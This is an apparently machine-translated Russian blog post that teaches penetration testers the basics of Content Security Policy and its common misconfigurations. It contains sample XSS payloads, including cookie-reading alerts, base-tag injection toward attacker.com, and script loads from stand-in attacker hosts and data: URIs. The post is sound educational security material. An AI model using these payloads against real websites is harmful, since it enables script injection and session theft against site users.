CSP для пентестеров: понимание основ

CSP для пентестеров: понимание основ


читать 8 минут

19 октября 2025 г.

🚧 Недавняя миграция

Произошла миграция из призрака в небо. Заметили ли вы какие-либо проблемы с форматированием? Сообщите о них!

CSP для пентестеров: понимание основ

Всем привет,

Несколько недель назад я был по колено в соревновании CTF. Нашел XSS-уязвимость, порадовался этому, подготовил полезную нагрузку и… ничего. Пейдж просто сидела и высмеивала меня. Оказывается, CSP был настроен таким образом, что блокировал все, что я пробовал. Следующий час провел, читая политику построчно, понимая, что разрешено, а что нет. Наконец нашел его, но, черт возьми, это заставило меня осознать, как мало внимания я уделяю этому заголовку.

Вот так и начался этот информационный бюллетень. Я хочу объяснить, как на самом деле работает CSP и, что более важно, где люди его допускают.

Краткое примечание: прямо сейчас я также работаю над улучшением веб-сайта. Добавляется белая тема, потому что видимо некоторые из вас не живут в темном режиме, как цивилизованные люди, а также сочетания клавиш и прочее. Скоро должно быть готово 😄

Что такое CSP?

Представьте себе: вы управляете ночным клубом. Вы не хотите, чтобы по улице бродили случайные люди, поэтому нанимаете вышибалу. У этого вышибалы есть список, и если вас в нем нет, вы не сможете войти. CSP, по сути, является этим вышибалой, но для вашего браузера.

Сервер отправляет браузеру политику, говорящую: «Эй, выполнять сценарии только из определенных мест, которым я доверяю». Когда вы пытаетесь вставить вредоносный код откуда-то еще, браузер пишет «Нет, нет в списке» и блокирует его. Теоретически это фантастика. На практике, ну, именно поэтому мы здесь.

Вот как выглядит поток:

Server: "Content-Security-Policy: script-src 'self'"
You: <script src="https://evil.com/xss.js">
Browser: *blocked*
Console: "CSP violation: refused to load..."

Проблема в том, что правильно настроить его сложнее, чем кажется. Одно неверное направление, и все развалится.

Как это работает на самом деле

CSP действует посредством инструкций. Воспринимайте их как отдельные правила из справочника вышибалы. Каждая инструкция управляет различным типом ресурса.

Content-Security-Policy: script-src 'self' https://trusted.com; style-src 'self'

Это сообщает браузеру: «Сценарии могут исходить из нашего домена или Trusted.com. CSS может исходить только из нашего домена». Довольно просто, правда?

Но вот тут становится интересно. Если вы не укажете никаких инструкций, он вернет default-src Если он существует. и если default-src Даже не существует? Абсолютно никаких ограничений. Это первое место, где все начинает ломаться.

инструкции, которые имеют значение

Позвольте мне рассказать вам о вещах, которые вас как пентестера действительно волнуют.

script-src Ваша главная цель. Он контролирует, что может выполнять JavaScript. Если вы сможете обойти его, вы выиграете. просто вот так. Все остальное — просто шум по сравнению с выполнением кода.

default-src Служит запасным вариантом. Вот что постоянно беспокоит людей: если посмотреть default-src 'self' Ничего больше, это означает, что каждый тип ресурса использует «он» сам. Сценарий, изображения, стили – все. Это более строгие ограничения, чем кажется на первый взгляд.

object-src Как те элементы управления тегами старой школы , И . Flash, плагины, встроенные PDF-файлы. Знаешь, что смешно? Люди постоянно об этом забывают. Они очень жестко заблокируют свой скрипт и полностью забудут о существовании тегов объектов. Это возможность мгновенного обхода.

base-uri Труслив. он контролирует тег, который устанавливает базовый URL-адрес для всего документа. Когда его нет (а его много), вы можете делать по-настоящему творческие вещи. Мы вернемся к этому через минуту.

Специальные цены, которые вам нужно знать

В CSP это специальные ключевые слова, заключенные в одинарные кавычки. Важно понимать, что они означают, потому что они часто являются слабыми местами.

'self' Имеется в виду тот же корень. Тот же домен, тот же протокол, тот же порт. Если вы находитесь на https://example.comПросто правильный материал https://example.com Работает. Даже субдомены не проходят проверку.

'none' Блокирует все. Самый строгий вариант из возможных. Даже контент того же происхождения не найден.

'unsafe-inline' Вот тут-то все становится интереснее. Он позволяет использовать встроенные сценарии, и вы будете в восторге, когда увидите его. Помните тот CTF, о котором я упоминал? Любой, у кого этого не было, усложнил мне жизнь. Когда он есть, все традиционные методы XSS работают.

Что на самом деле означает встроенный? Этот JavaScript встраивается непосредственно в HTML, а не загружается из отдельного файла:

<script>alert(1)</script>
<img src=x onerror="alert(1)">
<button onclick="alert(1)">Clickbutton>

Все это встроено. Правильный CSP предотвращает их, если только 'unsafe-inline' Присутствует. Но дело в том, что во многих устаревших приложениях встроенные скрипты разбросаны повсюду. Восстановить их все — большая задача, поэтому разработчики идут по простому пути. они бьют 'unsafe-inline' Там «временно» и хватит. Я видел «временные» исправления, которые находились в разработке уже три года.

'unsafe-eval' Аналогично, но для другого типа исполнения кода. Он позволяет использовать такие функции, как eval() Которые принимают строки и выполняют их как код:

eval('alert(1)');
setTimeout('alert(1)', 0);
new Function('alert(1)')();

Если вы можете контролировать, какая строка передается в любую из этих функций, и 'unsafe-eval' существует, вы в нем.

Тогда есть подстановочные знаки. * Имеется в виду любой домен. https: Имеется в виду любой HTTPS-сайт (а это сейчас практически все). data: Разрешает URI данных, поэтому вы можете вставлять код непосредственно в URL-адрес. *.example.com Разрешает любой поддомен. Все это тревожные сигналы, потому что они слишком снисходительны.

где что-то ломается

Позвольте мне показать вам неправильные конфигурации, которые я вижу снова и снова в реальных оценках.

Самый распространенный? 'unsafe-inline' Просто сижу в политике:

Content-Security-Policy: script-src 'self' 'unsafe-inline'

Если вы посмотрите на это, ваша стандартная полезная нагрузка XSS работает отлично:

<script>alert(document.cookie)</script>
<img src=x onerror="alert(1)">
<svg onload="alert(1)">

следующий отсутствует base-uri. Проверьте это:

Content-Security-Policy: script-src 'self'

Кажется довольно близко, не так ли? Источник сценария ограничен одним и тем же источником. но это не так base-uri Инструкция. Это значит, что можно делать укол. ярлык:

<base href="https://attacker.com/">
Теперь, когда страница загружает действительный скрипт:
<script src="/js/app.js"></script>

Браузер говорит: «Хорошо, база — Attacker.com, поэтому должно быть https://attacker.com/js/app.js» и вместо этого загружает ваш вредоносный скрипт. Вам даже не нужно вставлять свой собственный тег скрипта. Вы просто перенаправляете их скрипт.

Тогда есть ленивый подход с подстановочными знаками:

Content-Security-Policy: script-src 'self' https:

https: Директива разрешает использование любого HTTPS-сайта. Поскольку 99% Интернета сейчас работает по протоколу HTTPS, это в принципе бесполезно:

<script src="https://attacker.com/xss.js"></script>

Просто работает. Та же история с data: URL-адрес:

<script src="data:text/javascript,alert(1)"></script>
Подстановочные знаки поддоменов — еще одна забавная вещь:
Content-Security-Policy: script-src 'self' *.example.com

Все, что вам нужно, это небезопасный поддомен. Это может быть старый забытый промежуточный сервер, а может быть и средство загрузки пользователей. uploads.example.comНе имеет значения. Найдите одно слабое место в любом поддомене, и весь CSP развалится:

<script src="https://forgotten-staging.example.com/malicious.js"></script>

Последний: пропал object-src. Если эта директива не указана, иногда можно использовать or Теги, чтобы обойти всё. Это зависит от браузера и немного сложнее, но работает достаточно часто, поэтому стоит проверить.

Поиск CSP в дикой природе

Большую часть времени вы будете использовать Burp Suite или другой прокси-сервер для перехвата трафика. Просто просматривайте и ищите заголовки ответов в истории HTTP. Content-Security-Policy. Честно говоря, это самый практичный метод при реальном тестировании.

Команда быстрого закручивания поможет вам начать:
curl -I https://target.com | grep -i "content-security-policy"

Или просто откройте DevTools (F12), перейдите на вкладку «Сеть», перезагрузите компьютер, нажмите на основной запрос и посмотрите заголовки ответов.

Иногда вместо этого это находится в метатеге:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

Следует помнить одну вещь: CSP может быть как в заголовках, так и в метатегах. В этом случае побеждает самый строгий человек. Я видел случаи, когда заголовок был сплошным, но метатег был 'unsafe-inline'И угадайте, кто подал заявку? ограничительный. Но я также видел и обратное: заголовок был слабым, а метатеги пытались все заблокировать, и слабый заголовок был предпочтительнее. Дело в том, проверьте оба.

метод быстрого анализа

Как только вы найдете CSP, я делаю следующее:

Во-первых, я ищу явных побед. искать 'unsafe-inline'. Если он там, я, вероятно, смогу перестать искать и отключить его полезную нагрузку XSS. искать 'unsafe-eval' Кроме того, если приложение использует какие-либо функции в стиле eval, это еще одна легкая победа.

Проверьте подстановочный знак: *, https:, data:. Все они слишком снисходительны и обычно означают, что политика мало что делает.

Потом проверяю, чего не хватает. Является base-uri Там? Если нет, могу ли я внедрить HTML? Если да, то внедрение базовых тегов может сработать. Является object-src Там? Если нет, стоит попробовать теги object/embed.

Найдите подстановочные знаки поддоменов. если ты видишь *.example.comПришло время перечислить субдомены и найти слабые субдомены или функцию загрузки файлов.

У Google есть инструмент CSP Evaluator (https://csp-evaluator.withgoogle.com/), который автоматизирует этот анализ. Вставьте политику, и она скажет вам, что уязвимо. Очень полезно для быстрой оценки.

подведение итогов

Итак, это основа. Что такое CSP, как он работает, какие инструкции важны и с какими неправильными конфигурациями вы постоянно будете сталкиваться. Реальность такова, что у большинства CSP есть по крайней мере один недостаток, обычно потому, что его действительно трудно исправить. Дело не в том, что разработчики плохо делают свою работу. Дело в том, что CSP сложен, и компромисс между безопасностью и функциональностью реален.

Спасибо за чтение. Надеемся, это поможет вам быстрее выявить эти проблемы при следующей оценке.

будь начеку, Рубен

Модуль аппаратной безопасности: крепость, защищающая драгоценности блокчейна
Модуль аппаратной безопасности: крепость, защищающая драгоценности блокчейна

предыдущий выпуск

NTLM Relay: почему аутентификация в AD все еще не работает

следующий выпуск

NTLM Relay: почему аутентификация в AD все еще не работает

Leave a Reply

Your email address will not be published. Required fields are marked *